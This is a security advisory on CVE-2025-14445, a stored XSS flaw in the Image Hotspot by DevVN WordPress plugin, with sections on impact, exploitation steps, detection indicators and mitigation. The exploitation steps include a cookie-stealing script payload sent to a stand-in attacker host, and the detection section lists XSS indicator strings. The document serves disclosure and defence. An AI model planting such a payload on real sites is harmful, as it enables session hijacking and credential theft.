CVE-2025-14445: 
WordPress vulnerability analysis and mitigation

CVE-2025-14445 is a Stored Cross-Site Scripting (XSS) vulnerability in the Image Hotspot by DevVN plugin for WordPress, affecting all versions up to and including 1.2.9. The flaw arises from insufficient input sanitization and output escaping of the hotspot_content custom field meta, allowing authenticated attackers with Author-level access or above to inject arbitrary web scripts into pages. It was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize user-supplied input stored in the hotspot_content custom field meta and does not escape this data on output, allowing malicious script content to be persisted in the database and rendered in visitors' browsers. Exploitation requires network access and a low-privilege authenticated account (Author role or higher), with no user interaction required from the attacker side and a changed scope, meaning the injected script executes in the context of other users' sessions (Red Hat CVE, Wordfence).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of any user — including administrators — who visits the affected page. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and defacement. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14445 as of the available data. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum an Author-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

1. Obtain Author-level access: Register or compromise a WordPress account with at least Author privileges on the target site running Image Hotspot by DevVN ≤ 1.2.9.
2. Create or edit a post: Navigate to the WordPress editor and create or edit a post/page that uses the Image Hotspot by DevVN plugin block.
3. Inject malicious payload: In the hotspot configuration, set the hotspot_content field to a crafted XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. Because the plugin does not sanitize or escape this field, the payload is stored directly in the database.
4. Publish the content: Save and publish the post. The malicious script is now embedded in the page.
5. Trigger execution: When any user (including administrators) visits the injected page, the script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Author-level accounts containing script tags or encoded JavaScript in the hotspot_content parameter.
• Database: Entries in the wp_postmeta table where the meta_key is hotspot_content and the meta_value contains <script>, javascript:, onerror=, or other XSS indicators.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages with Image Hotspot content, potentially indicating cookie exfiltration.
• File System: Unexpected new administrator accounts or plugin/theme file modifications following exploitation, suggesting privilege escalation via the injected script.

WordPress site administrators should update the Image Hotspot by DevVN plugin to a version beyond 1.2.9 that includes proper input sanitization and output escaping fixes. If an updated version is not yet available, consider deactivating the plugin until a patch is released. Additionally, restrict Author-level account creation and monitor for unexpected content changes in posts using the plugin. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Wordfence).

Wordfence included CVE-2025-14445 in its weekly WordPress vulnerability report for the period of February 16–22, 2026, as part of routine vulnerability tracking (Wordfence). No notable individual researcher commentary, vendor statements beyond standard CVE publication, or significant social media discussion has been identified for this vulnerability.